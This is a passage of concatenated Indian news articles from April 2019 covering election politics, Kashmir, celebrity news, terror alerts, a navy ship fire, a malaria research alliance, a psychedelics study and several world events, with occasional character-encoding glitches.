had called for Bangladeshis to be kicked out of the country. (West) Bengal has many artists. However, Mamata Banerjee has to call artists from outside. Will you vote for those who call artists from Bangladesh to win elections? he asked, referring to a Bangladeshi actor allegedly campaigning for the Trinamool Congress. The NDA has resolved to abolish Article 370 of the Constitution which gives special status to Jammu and Kashmir, and ensure that anti-nationals get hanged through the sedition law, Thackeray said. New Delhi: National Conference president Farooq Abdullah on Thursday while praising Jammu Kashmir Liberation Front chairman Yasin Malik said he is ready to die but not to surrender before Delhi for the sake of self-respect of Kashmiris. Yasin Malik despite being severely ill is languishing in jail because he is advocating a dialogue with India but is not willing to sell self-respect of Kashmiris. He has preferred death over surrender. I congratulate him for that, Abdullah said. He said this addressing an election rally in Devsar area of Jammu and Kashmirs Kulgam district. Hitting out at separatists Abdullah said, the election boycott will not serve any purpose. The separatists have only led Kashmir towards death and destruction and today the NIA is after them, he said. Earlier, former chief minister of Jammu and Kashmir and Peoples Democratic Party (PDP) chief Mehbooba Mufti sought immediate release of JKLF chief Yasin Malik. While speaking to media, Mufti said, ''Yasin Malik (Kashmiri Separatist) should be released immediately as he is really unwell. Also, other members of Jamaat-e-Islami should be released. Sadhvi Pragya on whom there are several serious accusations, has been set free.'' JKLF chief Yasin Malik, arrested in connection with alleged terror funding case was sent to judicial custody till May 24 by Delhi court on Wednesday. The court had earlier sent Malik to NIA custody. He was brought to New Delhi after a court in Kashmir granted his transit remand to the National Investigation Agency. Additional Sessions Judge Rakesh Syal also sought reply from the defence counsel on a plea of Tihar jail authorities seeking to produce Malik through video conference due to security concerns. The Jammu and Kashmir High Court has reserved its judgment on a CBI plea for reopening three-decade-old cases in which Malik was an accused. Malik was detained by the Jammu and Kashmir police from his residence in Srinagar on February 22 and was shifted to the Kothibagh police station. The detention came two days after the state administration said the security of 18 separatist, including Malik, would be withdrawn. The JKLF leader on Thursday termed the announcement a "lie". New Delhi: Sometimes life is fair and sometimes not. The same happened with Bollywood actress Shruti Haasan. After dating for at least two years, Shruti Haasan and her Italian boyfriend Michael Corsale have broken up. Michael took to his Instagram page and confirmed their breakup. In a post, Michael shared an adorable selfie of him with Shruti and wrote a caption that reads: aLife has just kept us on opposite sides of the globe unfortunately and so we have to walk solo paths it seems. But this young lady will always be my best mate. So grateful to always have her as a friend. Luv ya gal.a Check out here: A According to the media reports, Shruti even deleted a few photos with Michael from her Instagram page. On April 10 this year, she wrote a note, aBegin againa a new phase, thankful and blessed, for all the love lessons and light. The brightest light shines deep inside the darkest of places. More music more movies and more me a canat wait. Being with myself has and always will be my greatest love story.a A aThe decision was taken by mutual consent and there is no bad blood between the two. They continue to remain the best of friends and will always have each otheras back,a Mumbai Mirror quoted a source close to the development. The source further said, aThey really respect and care for each other.a Notably, Michael had even met Shrutias parents and actors Kamal Haasan and Sarika when the two were dating each other. However, Shruti remained silent over Corsale's tweet and she is yet to acknowledge their break-up. On the work front, Shruti has recently signed a Tamil film and it is her first after nearly three years. For all the Latest Entertainment News, Bollywood News, Download News Nation Android and iOS Mobile Apps. New Delhi: In a major setback to the makers of PM Narendra Modi, the Supreme Court on Friday dismissed a petition that challenged the Election Commissions order banning the screening of PM Modis biopic until May 19. Notably, the apex court was hearing a plea submitted by the producers of PM Narendra Modi. A bench headed by Chief Justice Ranjan Gogoi said it was not inclined to entertain the application filed by producers of the biopic challenging the EC's order. During the hearing, the bench also comprising Justices Deepak Gupta and Sanjiv Khanna said, "What survives in this now?" The counsel, appearing for film producers, told the bench that the EC's order is contrary to the clearance given to the movie by the Central Board of Film Certification (CBFC). "The issue is whether the movie can be exhibited at this time. The Election Commission has taken a decision. We are not inclined to entertain this," the bench replied. On April 22, the Election Commission had submitted a report to the Supreme Court and claimed that a public screening of the movie during the ongoing elections will tilt the electoral balance. A committee set up by the polling commission had watched the entire film and submitted the report. In the report, the EC had said that the movie was a hagiography, which treats the subject with undue reverence. It had further noted that the biopic produces a political environment where an individual acquired cult status and public screening of the film when the Model Code of Conduct is in place would favour a particular political party. The report had also said that the screening of the movie should not be allowed till May 19, the last date of polling. The 20-page report had cited a sentence from the films synopsis provided with the script: India is Modi and Modi is India. This is reminiscent of the infamous statement by Congress leader DK Baruah, who had said Indira is India and India is Indira in the 1970s, it concluded. The EC had on April 10 stalled the release of the film until the polls end, asserting that any biopic material with the potential to disturb the level-playing field during elections should not be displayed. The commission, in a separate order, had also directed the producers "not to exhibit the film titled 'PM Narendra Modi' till further orders". The film was earlier set to release on April 11. Acting on the complaints of political parties, including the Congress, the poll panel had also said that any poster or publicity material concerning any such certified content, which either depicts a candidate for the furtherance of electoral prospects, directly or indirectly, shall not be put on display in electronic media in the area where MCC is in force. The Left had also opposed the release of the film, saying it would disturb the level-playing field for other parties in the election and was in violation of the Model Code of Conduct. The Modi biopic, starring Vivek Oberoi, has been the most-talked about movie this election season. Directed by Omung Kumar, PM Narendra Modi depicts the journey of Indian PM from his humble beginnings to becoming the Prime Minister of India. It also stars Boman Irani, Zarina Wahab, Darshan Kumaar and Manoj Joshi. (With inputs from PTI) For all the Latest Entertainment News, Bollywood News, Download News Nation Android and iOS Mobile Apps. New Delhi: Well, we all know that Marvel fans are head over heels in love with any Avengers movie. And here, we are talking about the final instalment Avengers: Endgame that marks the end of an emotional journey of over 11 years. The movie is said to be the longest and the most emotional one, and even Chris Evans cried six times during the Avengers: Endgame premiere. However, its not just the case with Chris Evan. A 21-year-old university student in Zhejiang, China was rushed to the hospital after watching the climax of Avengers: Endgame on Wednesday. According to a report published in sn.people, the girl and her friends went for the first screening of the movie together. After watching a particularly heartbreaking scene, she started crying and couldnt stop. Alos Read: REVEALED: Avengers Endgames last 8 minutes make it a PERFECT climax After exiting the movie theatre, the girl started to have chest pains and struggled to breathe. Her limbs started feeling numb and she experienced muscle spasms, including having her fists tightly clenched. After seeing her in such a condition, her friends called an ambulance and rusher her to the hospital. The friend told the website, ''I saw her gasping for air, and based on her friends description, we figured she mustve cried too much which resulted in hyperventilation. We then immediately put on an oxygen mask for her and tried to calm her down so her symptoms would go away.'' She was discharged from the hospital the same night after the treatment. Well, the fans who have already watched the film must know exactly what it feels like to witness such an emotional journey. Those who havent watched the film yet, we are sure you would fall in love with this EPIC film. For all the Latest Entertainment News, Hollywood News, Download News Nation Android and iOS Mobile Apps. New Delhi: The James Bond 25 cast might finally have taken a full 360 circle now. After rumours about Oscar winner Rami Malek to star as the James Bond villain was confirmed via a live streaming event from creator Ian Fleming's home in Jamaica on Thursday, Cuban actor Ana deA Armas, the latest face to join the cast of theA upcoming Daniel Craig movie is being rumoured as the next James Bond girl.A After the casting news was announced in a live reveal from Jamaica welcoming Armas in the Bond franchise, fans of the British spy flocked to social media with their nod of approval. The official Jams Bond page also took to Twitter to welcome the beauty among their crew. They tweeted, aaA warm welcome to Ana De Armas (@Ana_d_Armas) who joins #BOND25. A warm welcome to Ana De Armas (@Ana_d_Armas) who joins #BOND25 pic.twitter.com/qD2RZiIlIl a James Bond (@007) April 25, 2019 While no confirmation has been made by the filmmaker as to whether Armas will be the Bond girl or one of the girls in the Bond movie, fans are convinced that Armas is The Bond girl. One person tweeted, aaOMG YES NEXTA @007 Bond Girl @ana_d_AmasA cannot waitaa while another wrote, "Ok, this is EPIC." "Congratulations @Ana_d_Armasaa another user tweeted while one user already goes on to call Armasas cast as the supposed Bond girl, the best girl ever. The user tweeted, "#bestbondgirlever." Rami Malek who confirmed his new onscreen avatar phoned into the press conference today, saying, "I'm very much looking forward to joining the whole cast and crew so very soon. "I promise you all, I will be making sure Mr Bond does not have an easy ride of it in this, this 25th outing." The yet-untitled Bond film will be directed by Cary Joji Fukunaga. It will see Daniel Craig return as James Bond for the fifth time. Other eturning cast members include Naomie Harris as Eve Moneypenny, Ben Whishaw as Q, La Seydoux as Dr Madeleine Swann, Ralph Fiennes as M., Jeffrey Wright as Felix Leiter, and Rory Kinnear as Bill Tanner. Bond 25A is set for release in April 2020. For all the Latest Entertainment News, Hollywood News, Download News Nation Android and iOS Mobile Apps. New Delhi: The Karnataka Police has issued an alert to as many as seven states and one Union Territory warning them about terrorists planning major attacks on trains in the coming days. According to sources, the Karnataka DGP has written to top police officials in Tamil Nadu, Kerala, Andhra Pradesh, Telangana, Goa, Maharashtra and Pondicherry, alerting them about terror attacks being planned on trains. The letter also talks about the presence of 19 terrorists in Tamil Nadu's Ramanathapuram. The letter has been issued to DGPs of Tamil Nadu, Kerala, Andhra Pradesh, Telangana, Pondicherry, Goa and Maharashtra, DGP RPF (New Delhi), along with Bengaluru Police Commissioner, ADGP (Railways), ADGP (Law and Order) and IGP (Intelligence, Bengaluru). According to the letter, a person claiming to be a lorry driver named Swamy Sundar Murthy called the police control room in Bengaluru and claimed to have information about terrorists planning attacks on trains in as many as seven states, along with Pondicherry. Swamy also claimed about the presence of 19 terrorists in Ramanathapuram, the letter added. Principal secretary to Tamil Nadu govt has also communicated the information to Tamil Nadu Police for necessary action. The warning comes close to the heels of the dastardly terror attack on hotels and churches in Sri Lanka on Easter Sunday which claimed over 250 lives, including 10 Indians, and left over 500 injured. The Islamic State group has claimed responsibility for the Easter terror attacks on three Catholic churches and three luxury hotels but the government has blamed a local Islamist extremist group, National Tawheed Jamath (NTJ), for the bombings. Indian intelligence agencies had warned their Sri Lankan counterparts about a possible terror attack hours before a series of explosions ripped through the island nation. The Indian government source said similar messages had been sent Sri Lankan intelligence agents on April 4 and April 20. For all the Latest India News, Download News Nation Android and iOS Mobile Apps. New Delhi: An Indian Navy officer, identified as Lieutenant Commander DS Chauhan, died in a fire which broke out onboard INS Vikramaditya in Karnatakaas Karwar on Friday morning, the INS said in a statement. The Navy said while the fire was brought under control, the officer lost consciousness due to the smoke and fumes during the firefighting efforts. He was immediately taken to the Naval Hospital at Karwar but could not be revived, the Navy said. A Board of Inquiry to investigate the fire incident has been ordered. Indian Navy officer Lt Cdr DS Chauhan dies in firefighting efforts on-board INS Vikramaditya. Read full story: https://t.co/Lr3plBcBrO pic.twitter.com/I5A6OPu6sX a News Nation (@NewsNationTV) April 26, 2019 India's largest warship -- aircraft carrier INS Vikramadityaawas "operationally deployed" along with its fleet of MiG 29K combat aircraft in 2014.The 44,500-tonne aircraft carrier procured from Russia at a cost of USD 2.33 billion had arrived in India in January 2014 and is stationed at its home-base in Karwar in Karnataka. The fire was reported Friday morning when the ship was entering harbour in Karwar in Karnataka. The fire was brought under control by the ship's crew in a swift action, preventing any serious damage to the carrier's combat capability, an official said. Lt Cdr DS Chauhan bravely led the fire fighting efforts in the affected compartment and while the fire was brought under control, the officer suffered loss of consciousness owing to smoke and fumes, the Navy said. For all the Latest India News, Download News Nation Android and iOS Mobile Apps. New Delhi: A pilot of domestic carrier IndiGo has been accused of sexual harassment charges by a female cabin crew member of the same airline, reported Hindustan Times. The alleged incident took place on April 16, when the flight she was on-board was cruising and the co-pilot was in the washroom. In her complaint to the Delhi Police, the victim said that she had gone to serve the pilot hot water and was sitting as observer when he asked her for a selfie and then molested her. I was operating on a Bengaluru-Amritsar-Srinagar-Delhi flight on April 16 and during the first leg of the flight, the captain asked another crew to send me in the cockpit along with hot water. I went inside the cockpit and first officer went out to use the washroom. I saw captain had his mobile phone in his hand with camera on mode. I took the observer seat afterwards, the victim said in her complaint. Immediately, when first officer went out and closed the door, he asked me to take a selfie with him, which I clearly denied it. Then he got up from the seat and move towards me, which made me uncomfortable and then I also got up from my seat, she claimed. The victim then described how the captain sexually harassed her till first officer came inside the cockpit. The woman went on to allege that after landing at Amritsar, the pilot came to her and asked for phone number and continued to stalk her after every landing. He also tried to hug her after landing in Delhi, which was the final destination for flight and crew members. She informed the rest of the crew and the airline management in Delhi about the incident and filed an FIR with the Delhi Police next day. Taking an immediate cognizance, Delhi police registered a case of harassment and investigation is currently underway. On the other hand, the Directorate General of Civil Aviation, Indias aviation regulator, is also investigating the matter as it is linked to safety of passengers. Meanwhile, an IndiGo spokesperson said, The company is looking into an incident on-board Bengaluru-Amritsar-Srinagar-Delhi flight on April 16 and will be investigating the matter as per its applicable policy. Following the completion of investigation, the company will take necessary action. In October last year, a flyer was offloaded from an IndiGo flight and arrested after he allegedly molested a crew member. The accused was identified as Raju Gangappa, who hailed from Bengaluru. In the year 2016, a similar incident occurred when a man stripped off his clothes and harassed the flight attendants to assist him. The incident took place in IndiGos flight number 6E-256 from Bhubaneshwar to Delhi. For all the Latest India News, Download News Nation Android and iOS Mobile Apps. New Delhi: Calling the trade across Line of Control a confidence building measure Pakistan on Thursday condemned its unilateral suspension. Pakistan expressed hope that the trade is resumed soon between the two nations. India last week indefinitely suspended cross-LoC trade at two points along the Line of Control in Jammu and Kashmir, following reports that it was being misused by elements from across the border to smuggle weapons, narcotics and fake currency. The trade was halted at Salamabad of Baramulla in Kashmir region, and Chakkan-da-Bagh of Poonch district in Jammu region. Foreign Office spokesperson Mohammad Faisal condemned the unilateral suspension of the trade by India and said, We hope that trade is resumed soon, as it is a confidence building measure between the two countries. Earlier, an official had said at least 10 militants, who had crossed over to Pakistan, set up businesses across the border with the active aid of ISI and were involved in the recently suspended cross LoC trade to provide funds to terrorists and separatists in Jammu and Kashmir. These Jammu and Kashmir natives are either based in Islamabad and Rawalpindi in Pakistan or Muzaffarabad in Pakistan occupied Kashmir (PoK) and operating businesses ranging from almonds, dry dates, dry fruits to mangoes as part of the modus operandi to send money to fuel unrest in Jammu and Kashmir on behalf of the Pakistani intelligence agency ISI, they had said. "These 10 militants were using the cross LoC trade between Jammu and Kashmir and PoK to fund terrorists and separatists in Jammu and Kashmir," a senior security official had said. For all the Latest India News, Download News Nation Android and iOS Mobile Apps. New Delhi: Raghuram Rajan, former governor of the Reserve Bank of India (RBI), said on Friday that he doesnt want to join politics because of his wife. First, my wife has said she will not stay with me if I join politics Politics everywhere is similar. It is not particularly noisy or whatever, I dont have any taste for it. Somebody else can give the speeches and gain the votes, Rajan told Mint when asked if he has something against joining politics. Rajan, a former Chief Economist at the International Monetary Fund who was denied a second term as Reserve Bank Governor by the BJP-led government, had last month said that he is open to opportunities. "I am very happy where I am. But if there is an opportunity to be of use I will always be there," he had said amid speculation that he may be the finance minister if an opposition alliance wins the Lok Sabha Elections 2019. Rajan, who is currently the Katherine Dusak Miller Distinguished Service Professor of Finance at the University of Chicago's Booth School of Business in the US, was asked if he would like to return to India in public service or even a political role. Even Congress president Rahul Gandhi stated that Rajan was among top economists that his party had consulted to draft its minimum income guarantee scheme, Nyuntam Aay Yojana or NYAY. The scheme assures up to Rs 72,000 a year or Rs 6,000 a month income to 20 per cent of India's poorest families if the Congress is voted back to power in the Lok Sabha elections next month. Rajan, who is credited with taking some bold decisions on cleaning up of bank balance sheets as the RBI Governor, when asked what his priorities would be if he was the finance minister of the country, he said "I think there are short-term issues". Rajan was the 23rd Governor of the Reserve Bank of India between September 2013 and September 2016. Between 2003 and 2006, he was the Chief Economist and Director of Research at the IMF. With PTI Inputs For all the Latest India News, Download News Nation Android and iOS Mobile Apps. New Delhi: The Indian Council of Medical Research (ICMR) has launched the 'Malaria Elimination Research Alliance (MERA) India' - a conglomeration of partners working on malaria control - in order to prioritise, plan and scale up research to eliminate the disease from India by 2030. The principal activity of the alliance is to prioritise, plan, conduct, scale up and translate relevant research in a coordinated and combinatorial way in order to have a tangible impact on the population who are at risk of malaria, Indian Council of Medical Research (ICMR) Director General Dr Balram Bhargava said. "Over the past two decades, India has made impressive progress in malaria control. The malaria burden has declined by over 80 per cent, 2.03 million cases in 2000 to 0.39 million in 2018, and malaria deaths by over 90 per cent, 932 deaths in 2000 to 85 in 2018," Dr Bhargava said. He said this success has provided a strong foundation for the commitment from the leadership of the government of India to eliminate malaria from India by 2030. The National Vector Borne Diseases Control Program (NVBDCP) of India has developed a comprehensive framework to achieve the overarching vision of "Malaria free India by 2030". The NVBDCP's National Strategic Plan clearly recognises the critical role of research to support and guide malaria elimination efforts. This situation highlights the need for a common platform and shared research agenda and resources through establishment of the Malaria Elimination Research Alliance (MERA) India, Dr Bhargava said. The MERA India does not intend to duplicate international efforts rather complement this on a national scale while contributing to the broader global agenda. The alliance will facilitate trans-institutional coordination and collaboration around a shared research agenda which responds not only to programmatic challenges and addresses gaps in available tools but also pro actively contributes to targeted research, he said. It aims to harness and reinforce research in coordinated and combinatorial ways in order to achieve tangible impact on malaria elimination, he explained. "MERA India alliance is very important to the Ministry of Health and Family Welfare because of the operational research. The WHO report has appreciated our research for decline in malaria and it is time to ensure its elimination by 2030," Union Health Secretary Preeti Sudan said. Sudan also focussed on the need to inform the people about the malaria protective measures via media in form of small video clips. Dr Neena Valecha, the regional adviser, WHO-SEARO, stressed on the need of support from the government. She mentioned about the need of coordinated approach, research inputs and tools which can guide national programme to develop strategies for the regular changes endemicity in the near malaria elimination era. He also mentioned the importance of malaria elimination, need of commitment for cutting edge research and to stick to the timeline. "Our focus should be on the challenges with parasite and vector biology, social science communication and health economics," he added. For all the Latest India News, Download News Nation Android and iOS Mobile Apps. New Delhi: Indian Mujahideen co-founder Yasin Bhatkal, who was once NIA's most wanted terrorists, now seems to be busy creating a new identity of a protest leader in Delhi's Tihar Jail, where he is on a death row in connection with the 2013 Dilsukhnagar twin blasts case. According to a report published in Hindustan Times, Bhatkal has now made new friends in the jail and last week sat on a two-day hunger strike in protest against the withdrawal of the induction cookers from the cells. Bhatkal demands that jail inmates be allowed to continue use of the induction cookers. Speaking to Hindustan Times, a prison officer, on the condition of anonymity, said - the Tihar Jail Administration had in December allowed prisoners to use induction cooker to heat milk and water after the mercury plummeted to a record low in the last few years. However, the authority, had, in early April, withdrawn the cookers following complaints of misuse to cook food which is not part of rules and regulations for Indian jails. "For two days, they refused to eat. It was only after talking to many prisoners and explaining to them the problems that they left Bhatkal alone and later he also withdrew the protest. Later, we realised Bhatkal was instigating them," the prison officer told HT. "People like Bhatkal are hardened prisoners. They instigate other prisoners to rebel against jail officers as a pressure tactic. They know that they are not coming out and resort to such things," another prison officer was quoted by the leading daily as saying. In his protest to make the use of induction cookers legal, Bhatkal was joined by Delhi gangster Ravi Kapoor, another Indian Mujahideen operative Asadullah Haddi and a few members of Cheenu gang from northeast Delhi. While Kapoor was lodged in for allegedly murdering journalist Soumya Viswanathan and executive Jigisha Ghosh, Haddi is accused of plotting terror attacks across the country. Active in parts of northeast Delhi, Cheenu gang, led by a man named Cheenu is infamous for incidents of arms smuggling, extortion, land grabbing, and murder. Originally born as Mohammed Ahmad Siddibapaa, Yasin (36) was a native of Karnatakas Bhatkal town. After not being able to clear his 10th-grade examination, he undertook arms and explosive training in Pakistan in 2006 to launch terror attacks. In December 2016, nearly four years after two bombs exploded in a crowded shopping area in Hyderabad, leaving 18 dead and several injured, an NIA special court sentenced Yasin and four other accused belonging to Indian Mujahideen to death. Bhatkal was also found guilty in two other 2008 blasts carried out in Ahmedabad and Bengaluru as well as the 2012 Pune blast. For all the Latest India News, Download News Nation Android and iOS Mobile Apps. New Delhi: Radhika Apte is setting the internet on fire with her oh-so-hot pictures. The actress is currently away for a work vacation and the sizzling pictures she is posting is proof of how much fun she is having. The diva recently took to her Instagram account to post pictures from a new photoshoot on top of a yacht and we are just in awe of her.A Radhika looks stunning in a black and white striped bikini. She captioned the post saying, "I found the most obvious place on a boat to sit." The actor had also posted another picture of herself in the same bikini, but this time she wore it with an olive-green cover-all. She posted the picture with a caption that reads, "Not my kind of a pic up line!" She styled her look with sunglasses and minimal makeup. On the work front, she was last seen in Andhadhun opposite Ayushmann Khurrana. The film recently crossed Rs 200 crore mark in China.A The Padman actress will be next seen Honey Trehan's Raat Akeli Hai alongside Nawazuddin Siddiqui for which the actress has already finished the first schedule shoot in Lucknow. The duo was last seen sharing screen space for Sacred Games. Apart from this, she also has an interesting range of films in the pipeline including The Wedding Guest, a British-American movie with Dev Patel and filmmaker Lydia Dean's untitled World War II spy drama with Stana Katic and Sarah Megan Thomas. Washington: People who claim to have experienced personal encounters with God report positive changes in their psychological health lasting decades, scientists say. Over the millennia, people have reported having deeply moving religious experiences either spontaneously or while under the influence of psychedelic substances such as psilocybin-containing mushrooms or the Amazonian brew ayahuasca. A portion of those experiences have been encounters with what the person regards as God or ultimate reality. In a survey of thousands of people who reported having experienced personal encounters with God, researchers from Johns Hopkins University in the US report that more than two-thirds of self-identified atheists shed that label after their encounter, regardless of whether it was spontaneous or while taking a psychedelic. Moreover, a majority of respondents attributed lasting positive changes in their psychological healthlife satisfaction, purpose and meaningeven decades after their initial experience, researchers said. The findings, published in the journal PLOS ONE, add to evidence that such deeply meaningful experiences may have healing properties, the researchers said. The study is the first to systematically and rigorously compare reports of spontaneous God encounter experiences with those occasioned, or catalysed, by psychedelic substances. Experiences that people describe as encounters with God or a representative of God have been reported for thousands of years, and they likely form the basis of many of the worlds religions, said Roland Griffiths, a professor at the Johns Hopkins University. And although modern Western medicine doesnt typically consider spiritual or religious experiences as one of the tools in the arsenal against sickness, our findings suggest that these encounters often lead to improvements in mental health, Griffiths said in a statement. For the study, the scientists used data from 4,285 people worldwide who responded to online advertisements to complete one of two 50-minute online surveys about God encounter experiences. The surveys asked participants to recall their single most memorable encounter experience with the God of their understanding, a higher power, ultimate reality or an aspect or representative of God, such as an angel. They also asked how respondents felt about their experience and whether and how it changed their lives. About 69 per cent of the participants were men, and 88 per cent were white. Of those who reported using a psychedelic, 1,184 took psilocybin (magic mushrooms), 1,251 said they took LSD, 435 said they took ayahuasca, and 606 said they took DMT (N,N-dimethyltryptamine), a naturally occurring substance found in certain plants and animals. The people who said they had a God encounter experience when on a psychedelic reported that these experiences happened at age 25 on average, whereas those whose experience was spontaneous reported having it at an average age of 35. About 75 per cent of respondents in both the non-drug and psychedelics groups rated their God encounter experience as among the most meaningful and spiritually significant in their lifetime, and both groups attributed to it positive changes in life satisfaction, purpose and meaning. Independent of psychedelics use, more than two-thirds of those who said they were atheists before the experience no longer identified as such afterward. Although both groups reported a decreased fear of death, 70 per cent of participants in the psychedelics group reported this change, compared with 57 per cent among non-drug respondents. In both groups, about 15 per cent of the respondents said their experience was the most psychologically challenging of their lives. Continuing to explore these experiences may provide new insights into religious and spiritual beliefs that have been integral to shaping human culture since time immemorial, said Griffiths. Griffiths and the research team caution that the study relied on self-reported responses to a questionnaire, a method that carries substantial possibilities for biased or inaccurate responses among participants. They dont advocate that people use hallucinogenic substances on their own because they carry not only legal risks, but also behavioral risks associated with impaired judgment under the influence and the possibility of negative psychological consequences, particularly in vulnerable people or when the experience is not safeguarded by qualified guides. Islamabad : Pakistani archaeologists claimed that they have discovered remains of metal workshops from the Indo-Greek period dating back to the 2nd century BCE. The archaeologists from the University of Peshawar (UoP) made the discovery from a site in the Hayatabad neighbourhood of Peshawar, Dawn reported. Professor Gul Rahim told media that the site is located close to the border of the Khyber district, adding that excavation work at the site has been going on for the past three years. He said that they have recovered coins dating back to the Indo-Greek period and estimated to be about 2,200 years old. The professor said that the Indo-Greeks had migrated from Afghanistan to present day Peshawar, and ruled the region for about 150 years. "The relics recovered show that the site was some sort of a metal workshop as we have found iron melting pots, molds, trowels, knives and drills, which were used at the workshop," Rahim said. The workshop also likely produced arrows, bows, daggers, and swords, he added. "The site shows that the workshop was divided into blocks, whereas remains of furnaces, grinder stones and other vestiges of the era are still clearly visible," said the professor. Professor Gul further said that "this marks the first discovery of an organised Indo-Greek workshop in the province so far." Meanwhile, Mohammad Naeem, an archaeological surveyor, said that "as compared to Buddhist sites that were built using brick masonry, this site was made from clay so it was difficult to preserve it. He said that remains of the Indo-Greek period have also been found in Gor Khatri archaeological complex. Jan Gul, an MPhil scholar at the UoP, said that it was the first time that students were able to see Indo-Greek remains, as previously only Buddhist and Mughal relics had been studied. For all the Latest Science News, Download News Nation Android and iOS Mobile Apps. Helsinki: Intensifying competition and delays in rolling out 5G equipment for the next generation of mobile phone networks pushed Nokia deeper into the red in the first quarter, the company said Thursday. Net losses more than doubled from the same period last year to hit 446 million euros ($497 million), and compared to a 193 million euros profit in the final three months of last year. Chief executive Rajeev Suri acknowledged that the quarter was weak for the Finnish firm, which is widely seen as trailing Chinas Huawei and Swedens Ericsson in the race to supply operators with the equipment needed to build next-generation 5G networks. We expected that it would be, and the outcome has not changed our perspective on the full year, added Suri. 5G revenues are expected to grow sharply, particularly in the second half of the year, driven by our 36 commercial wins to date, he added. Nokia said it delayed booking 200 million euros in revenues it had expected in the first quarter. Nevertheless sales edged up two percent to 5.0 billion euros in the three months period. Analyst Mikael Rautanen at Inderes, a Nordic investor research firm, said the results were below expectations, especially if you compare them to Ericsson and Huawei, which made a solid start to the year. He also noted that increased competition was pushing down operating margins. Nokia shares slumped by as much as 10.9 percent in morning trade in Helsinki. Beijing: The Chinese military said on Thursday that it "always attached importance" to relations with the Indian and Pakistani counterparts and was ready to make more efforts to advance the ties, but kept silent over the absence of ships from its all-weather ally at the fleet review of the 70th anniversary celebrations of China's navy. Two Indian battle ships, including INS Kolkata - the biggest indigenously built stealth destroyer - along with INS Shakti - one of biggest fleet support ships - took part in the fleet review at Qingdao on April 23 which was presided over by Chinese President Xi Jinping. Significantly, conspicuous by their absence were the ships of Pakistan Navy at the parade. The Pakistan Navy reportedly could not send its ships to PLAN's most celebrated moment despite the all-weather relations due to the recent Indo-Pak hostilities after the deadly Pulwama terror attack in February. However, a delegation headed by Pakistan Navy chief Admiral Zafar Mahmood Abbasi attended the event. Asked how China viewed the participation of the Indian Navy ships, Chinese defence ministry spokesman Col Ren Guochang told a media briefing that more than 60 countries sent their naval delegations and 13 countries have sent their ships to take part in the review. He said the Chinese navy's 70th anniversary celebrations will "undoubtedly concretise the friendship and mutual relations between the PLA Navy (PLAN) and its international counterparts." "At the same time, China always attached importance to the military- to-military relations between China and India and China and Pakistan. We are ready to make more efforts with the two nations to push forward the military relations and exchanges," he said. He, however, evaded answer to a question over the absence of the Pakistan Navy ships in the fleet review. Col Ren was critical of the French naval ship which was scheduled to take part in the PLAN celebrations. China reportedly withdrew the invitation to the French naval ship Vendemiaire on the ground that it trespassed into Chinese waters at the Taiwan Strait, which Beijing claims as part of it. Also, significantly while arriving to take part in the PLAN's grand event, the Indian Navy ships came through Taiwan Strait, the narrow strip of waters of the Pacific that separates, China and Taiwan. China protested to the US on March 25 when two American naval ships sailed through the Taiwan Strait. In his media interaction after the arrival of the Indian ships, Commander of INS Kolkata, Captain Aditya Hara when asked whether the Indian ships came through Taiwan Strait said in April 21 during a media interaction at Qingdao that the India ships did pass through the Taiwan Strait and that the transit was made in accordance with international law. Chinese ships were present in the Straits to offer assistance for a safe passage, he said. For all the Latest World News, Download News Nation Android and iOS Mobile Apps. New Delhi: Mexico's president said on Thursday he was willing to offer an apology to the United States to reduce tensions amid the war of words over a border confrontation between US and Mexican troops. Earlier, Donald Trump renewed his threat Wednesday to send more troops to the U.S.-Mexico border following an incident in which Mexican soldiers confronted U.S. personnel. Mexico blamed the incident on confusion, and said it was not looking for confrontation with the U.S. In morning tweets, Trump said that, Mexicos Soldiers recently pulled guns on our National Guard Soldiers, claiming, without evidence, that it was done probably as a diversionary tactic for drug smugglers on the Border. Better not happen again! he added. Mexican President, Andres Manuel Lopez Obrador said, "If necessary, the secretary of foreign affairs will send a note explaining how the facts occurred and, if there was an infraction; he will offer the apologies that are required," President Andres Manuel Lopez Obrador said in his daily news conference. The leftist president was keen to emphasize that Mexico wanted to avoid "any kind of friction, confrontation," with the United States, it's main trading partner. "We do not intend to violate, to affect, the sovereignty of the United States of America," he said. Earlier this month, two U.S. soldiers in a remote area of Texas were confronted by Mexican soldiers who thought the Americans had crossed into Mexico. The Mexican troops reportedly removed a weapon from one of the American soldiers. U.S. Northern Command, which manages military support for Customs and Border Protection, said the Americans were in a CBP vehicle in a remote area of U.S. territory south of the border wall but north of the actual border. After a brief discussion between the soldiers from the two nations, the Mexican military members departed the area, Northern Command said in a statement about the encounter. Andres Manuel Lopez Obrador promised to investigate the incident at a Wednesday news conference. We are not going to fight with the government of the United States, he said. The most important thing is that we want a relationship of mutual respect and cooperation for development. Mexicos foreign relations department characterized the incident as routine confusion in an area where the line separating the two countries is unclear. For all the Latest World News, Download News Nation Android and iOS Mobile Apps. Quetta: Security has been stepped up for polio vaccination teams in the troubled province of Balochistan after a female child health worker was killed and another injured in the Chaman area on Thursday. Assistant Commissioner of Chaman, Syed Sami Agha told the media that the polio workers were targeted after unknown men on motorcycles opened fire on an immunisation team in Sultan Zai, a city near the shared border with Afghanistan. He confirmed that one female polio worker was killed, while another was injured. "We have stepped up security for the immunisation teams throughout the province," the health minister for the province said in Quetta. Soon after the targeted killing, the anti-polio campaign in the area was suspended, with levies forces conducting a search operation in the area. The health officials said that around 1,50,000 policemen are escorting around 2,60,000 health workers in the new anti-polio vaccine drive in which over 2.5 million children in the province are to be administered the anti-polio vaccine. Polio workers have been targeted by militants in other parts of the country as well and earlier this week, the police arrested several men in the Khyber Pakhtunkhwa province after they orchestrated a campaign to spread fear and rumours about the anti-polio vaccines causing illness among children. On April 23, a policeman deputed with an immunisation team was also gunned down in Bannu. Polio is endemic in only three countries in the world- Pakistan, Afghanistan and Nigeria. Although, a relatively rare strain was also detected in Papua New Guinea at the end of last year. Immunisation efforts have in the past been hampered by militants. They have previously alleged the immunisation campaigns are a cover for Western spies. For all the Latest World News, Download News Nation Android and iOS Mobile Apps. New Delhi: At least six demining experts were killed after a massive explosion rocked a warehouse of explosives and landmines in Yemen's Red Sea port city of Mocha on Thursday. A government official told Xinhua that the experts affiliated with the Saudi mine-clearing project in Yemen MASAM, were killed and nearly seven others injured when an accident blast rocked a warehouse containing defused explosives in Mocha. He further added that the blast occurred during the process of collecting and organizing the remnants of mines and explosives that were defused from various areas on the country's western coast after being planted by the Houthi rebels. In a statement, the Saudi lanmine clearance project MASAM said that the explosion killed the leader of team26 named Abdul Baki Mohammed and five of his supporters. Earlier, in the month of January this year, 